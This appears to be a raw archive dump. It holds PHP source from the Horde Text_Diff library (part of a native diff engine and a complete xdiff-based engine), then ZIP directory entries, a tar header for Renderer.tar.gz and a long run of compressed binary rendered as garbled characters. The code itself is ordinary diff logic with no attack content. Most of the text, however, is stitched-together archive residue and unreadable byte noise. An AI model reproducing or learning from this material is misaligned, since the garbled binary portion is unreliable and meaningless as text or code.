        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer.tar.gz                                                                                     0000644                 00000462366 15217301643 0007464 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
י;J\.6|T=qkZ׽V=l;%qGo9'IȠnooaN2Nߗ!a㥘o|+1Yd)U';%={)5K-5/vޥg(^R)xy{3D_c-Xyu4q9cw,?rNt2 6>q&Y_Nn~}N֘3=us\9SzbDL>>J17y}UCѧɿD˽?:peL` h+L8=jrGs0`s{Lzғ7?SPfOnb\{k^E!%,C&k67u_ɆQ_olFww?d
4KL)ﾛGז~HJQϤ]à܀l#fXE*+b-!Y戉$7Fu~HѩmM4
&Qӳ/s/ܭBb.p#ks&=}NfeíTSz6e!GQ[۰;&'VIQu([>Pʀa]QiI9=U9$濾y_Tl%lE{UYE|ǭ+14
C'f!wDtwO?<wƼPc҇ӡ%h#~B$+Ǭ)G-B?Mwf=.taڵ#J_;#3};"X˹O6_^8LN:ΔIl^Qyw1M3~i%wM|MUT״$ΆXN:4wɶj+ιQ|RY'2DR{Fi<;vtsM=מG/N<ߧV(ה}G4Dq촮1Rtq
|\aY'rmJ=613N5>4	4dtŽTv;U#gƯ?dim\P=ኑ(4.yo搎fjm|[<W
"EkT=2NVh%dq*!:PMyl=C齉"w^enΑ!eq2̮뎾#w"\+,vU_d-Qdxn=y]cuy+_z1}ZfltףňM!wU¤MԸ}[A9+3xG6 [Q2A'[o;|;=K`d@owx>hYb4F/ڣr><-z2Qa>FġC&ar\@G#4ɵSԱk0m8:k\K6KW$<<&(SMoN#%FA}
Л}z(Vgf|Y?ry?sܭf>bfٜ_j&`nT/yD^|TH+gq#EZ%.<^TK_2]_3l9/[g&wb՜历2m
?۩t|:Y<$&k[jѻ]oOusI:A஢@/k:{	;*yzͲfI&e)7!TT<0IڷlUsݫT_m|QJΐz$TsG{^G.LTz}m0-hߦ9Ė(؇[s'50YN>87	JKPē]^/wؑz̏SFS2*_u]2ƵвлkՓ(83d=y'ݝ[*|Y{T錣IDK?)ʬ.RލY2y̲s;+͒JxpfsښׇKˍG]<ϚpLv13HwWFi5'Ze+kL%<w&wRr"JOX@Y5<1UF:}TO%[:ݷOAl7:.rh47A*#J(rq< ̃mGAJQ%\2Sjظ*\8Τ'yGC[SJ,?0~+GAoG:gZK.Q8 RPBJk0b"m{jǓ3u8WvƖI1޼竤IPu.¯WO(YzPDioqGXv[$)|.ۧJG3=SbsIHڸpP;qLgvD,o8T<707~6_O[*Qwމ{N].s)|[8a^Yj:$Uh_m<b߲` sw]f;%|xC2'wU5:/pHqb՟ٔk}2cށ	O|'#X$R$zOvFG$u/L~-Yxs!(,=ڍŹ.HC9{S֚o^ {iU,L_(K.5={.LD-}RH ̜`Y(0.WE!cw7{:37U;&n@ǒQϭ"[OQhk1h\P8rQoƘptQ1xÀ3I'署{B>D}"AhmN'%I85֝۟.GLIޤ}oaBIdNؾ>]層/CFJUJ:oꙹNilA	4eT:yyHc'lύ#|bi:y:]	qN}0/ԑ=nEU8Y=$VWLo
gR^?~[O(Z71#aj)X,PI\פCBMt,G\V_V>CDsbC&PZ3vd%r7i7uDX2$ܡZM9Z:'VT1#u|>"о3W}
+ݿ{6WCsv11sf<6pl"ǞӧE99'_(B|#>90W/k\t1a&Jj:ƸXOR5^ψn>9	d1"t^yHdC8Jq;uBf]՚lϴ#߰gIɾXiJkryl\ČLp9>!mb+:@0vLxs'L$gvoiz,FYBy:>\}^1b/P e$ߺCngMm.y}r<Y~|^p,=Հífyͨ>o3;xlf[덨5ߚǋfrbupalK͌u9n)ST+għ+~?Q^o>dgkx5Eܨ\s]:ZmLnp{yW9d.'"|dH51`/l^Bg&nEk˔R;)yzZ9z-Ub˧|{)̑~4dbx4KoDvA+l]4Q}1mL
Ik㉮=u߫*r'Ty(`TxuɴO?عS2$-9{OPR0=0ۖ6Չl{9zfSXNp;F~ߥ^Һ"f!%f̢/sd<eX?:_PoEQ
!zAq6שd{3zHe?z;(S^D/..v䓱.	A_xgmd9#8VZSGS %;+"\Clk=47ٛ6i^Xyca7[כ|<1p2'1Iin<McYIF~vЙ6/lKw(LĶmiܽ泲l+vԌcewFFFWT`(}4%5s/fuw!T|rbq<A :])+bMG3,r尉Bhg8Ǟ."TvQ:yC/\RNjJRN?l;T;@r/4'lI^Χ9pvb"W؎M[Oa(}VR=̱'qEDjR0qwuN>-mˬq#N4;^p%TLPTY(頮B1ilqMdJϲﲛ^y"{푈▶Db*jH堑giӉ$Lsnv4,2M>*=_-P:=̼ tݽ=H"wta[C3tu+9tlB))z`ݞ).uLWcuo,	C.^]l1+X5td߱}\cR	e.sAo.?>q\PT>眊kыC*s9"㿔z]|xqFK낯%l2pe,fԫuܛi
}Ɇaajj*cYaLۆCùslP?Wv+9I<$q؇5ɨ>pH	01aH)0(J4xҝ/esBSk"t$-~nUAHX ._o܏(>{|ajϛs.G.̎~a/ufNsXF}!
Ϲ[L{c
EU`_*+֞Ͳ|tHY׬4JP=ܝBf6iv%Нi3X>'0mcVQg"SE8t>dbgo&#Qoot̤kɺ<GgJF|̉A|kרЛv4P{wk} SN։G:Wg>@_}0{i!RYKɴunɗ#OtDF޶<yl(#;vMi~%=я\yIV݅Wm:s9j[i$ah<l#.k/'2ԡk>R!/2^O.lv	Fr~K
:zyH2<'ZC|,3\s͉Օ+fܺbs*9}:OC
gCowן7)o7Tؼ@{os顬0һA&{,b\ݍ5<z6SE8ǁScǦ:M)jE;m}3H_;"aث%^Ydw~Hn[WHU9i)+[<tj^Q>='e%㕜Iq#SYw1j
݄z&&o48)M?W93~P~]!GPIb	of2dD_$E//e:q">=<r6?q|`/ɒE߽II[~o;keNQ3[>9v_;J2HWk(i'jhKvK0&rQ\҅Y#Pޡ1U;MOe˳֞Vh{MDpcMZV1Z"rB\.Xm5g'K8x)d$b)kk`eJ!uȉ[ucY㧨%Oܵtƾ:/Xy=Ou!^.tcIuŏU-E&|Jlfoܹ>lo=۶5ētu!/[R[qmB qcz_tOվM:㊖[uۻgwL1xFpz7d}jkl{!D)<7kdFt,?rC[Y+|^,H-FSϫH'YyIN,Z۲)zJb57lˎi[DaR\(-/VC$+_Q(t^rĴsU%+{&.=Tcїu0(Ԏ$]ҽ*=AE_-r*ޑ@Ikm᜔$1؄S<0 Wx:9Hn&%f=uۍ0X'uDVgp|I>d$=;ⴤZ@EO4Ti/݊nL6G0))c\9-n?Q{.E[9Wh=m_}|Cޅm#ODIXƲd)Uνb0<Rc$<|;7KЧN	ZFÖ}W[m'%5^A~}Z}Sg@$B]1\T[fW/Ye7j̊tlQvbws.{,Cq`)(85|W<ŭKpۼY	cyD}{HXuy87J̈;٩&l0>Y;̼{M|aTp|:&W7Tjp(t=fHF%pUY=ahkOz{,4N?2C|۲z,xHv(tKH5HA"W՚lqDj׈-򨯊\lf&vO1ĎR}8Uǹd5af>/IקŹy-9M*J/uлi,OURg'3)DPZUr[pϻ;xdvW0%+cY$l6ǖƶmMgǊLY{-ca31J\q
\^bSAxJo*mHk▘J҃Td${4G3EG]食/6h77nLb'p5?@0`Ut`ԝIu36v+\vG1ZFOBS)?,|N&aE\g`5ST%~%Hs^!=ր Z7	ꩈu1ǧHn}Nu籷EΕ4ZJLrST|O[.\.6S,ZľB.nKN~H.M;Z(w̕i*~fyĦm&[{)??zC^Oc^KmA70ծN֒N1҉}yvF2F.f%F%ԉW(:W5POۈǚ{NzH"/#y6Oe܃ہAi 	/N@d#n=Z>)qp5݉A=z4d"F]=(Ǻ|l17pZL(эN4pcOf(pdRǱ(ɯ_hHӬv^¶O2EDft&=|q%aH@"uY1H%'"4c$hv_;P`Js]Y/TGCprs5o¾YV«iI)=Pg1Iq=>Z_x>;Oy8|hة1r#ej_tig@.FC/t_2v^֬`<7H}.U]e}RZ|P7\*??!Ld;K-aKr@ֻl}{Bn%{vHhץg1Vm~IuO_<Bvan(LZ}o
Q1'=qzIb3OUw-ܿTܙ{oҺEX#>m䝩6-%7OFҜquG
MxB8{zd9-l&v~<}Xv2}q{N`F;TDzn{|6ㄵ$5|g-_K".bK]j[#elLA-Re39*7uM]2+˜88JtYS-{-SzڮBU+	&1m<黽+1oܛmIVki[es	<:FxT2^'oqGYDҧ?w_.]+Rs9IEBA6Wޢ7ҐiNQRm6Pܒqc1(eW"?sKvb`١.ޥMk'r#K;bv$HBȟd_X,%aƇ+;^@H=:W~pѰ֯d<C^,b>]ڳ0}ŋdU9)Vc{OoJ5..O,gh{/,\nՃ;&RLXOHnief-S3q:[
Ƿ^=,M`dW6'}=A:;yj\Xɪft xhsJ)oiL<]p69};U-rLvnKc??prLvG*\;=6Uk'.ѝGoZ$89 5᳙5SdJOQM*rjO+gʨMr0ъټ'%Ճg}{?Y#.`mϾJz[wC^*ᙧWNq:2*N(|c)欏	ϝ~4|j.H+3<ԟdw&^>ishf@Ema驯O.2zvj#qB3H\TGYRMG&cYڍpw{*8R2/:ԛ 鹱 (L?'xۼ?&>Yv1Sn'Ol-wvPUه	WTWY ۹'/z'2ۜ)X/K<r~ȓF瞘XT{cO.q-Hz}~CBŞ̭?3Hq{^~YxD%~!h!ܒwi&M^V-0i귌j;*eaL̾IyjOLm+[#nSi_880:I>.gaw~1G/_XGyh)NG~Y|Y;.},q}|Fʹr	mVj1J$J)KM'^g|[٩AIv\"d=ҒHJOךI)Κ*4|)TXxLX='y?lwUDpGI<?d_ E+ v{}ZJ1V͔	vl?Nz-gtPM?B.}1Q-swW.	
6i')N7^x5W#Vܷ}BG67ǝW2r[0ta<U|dăٛ
Mx0vJ}uMVz8@\JPl¼xFkBֲGf!;:L2$M&\/X6_QHzl}st}Z:$tlӗ
Ri}Rp܊yMfߞBvަ&7
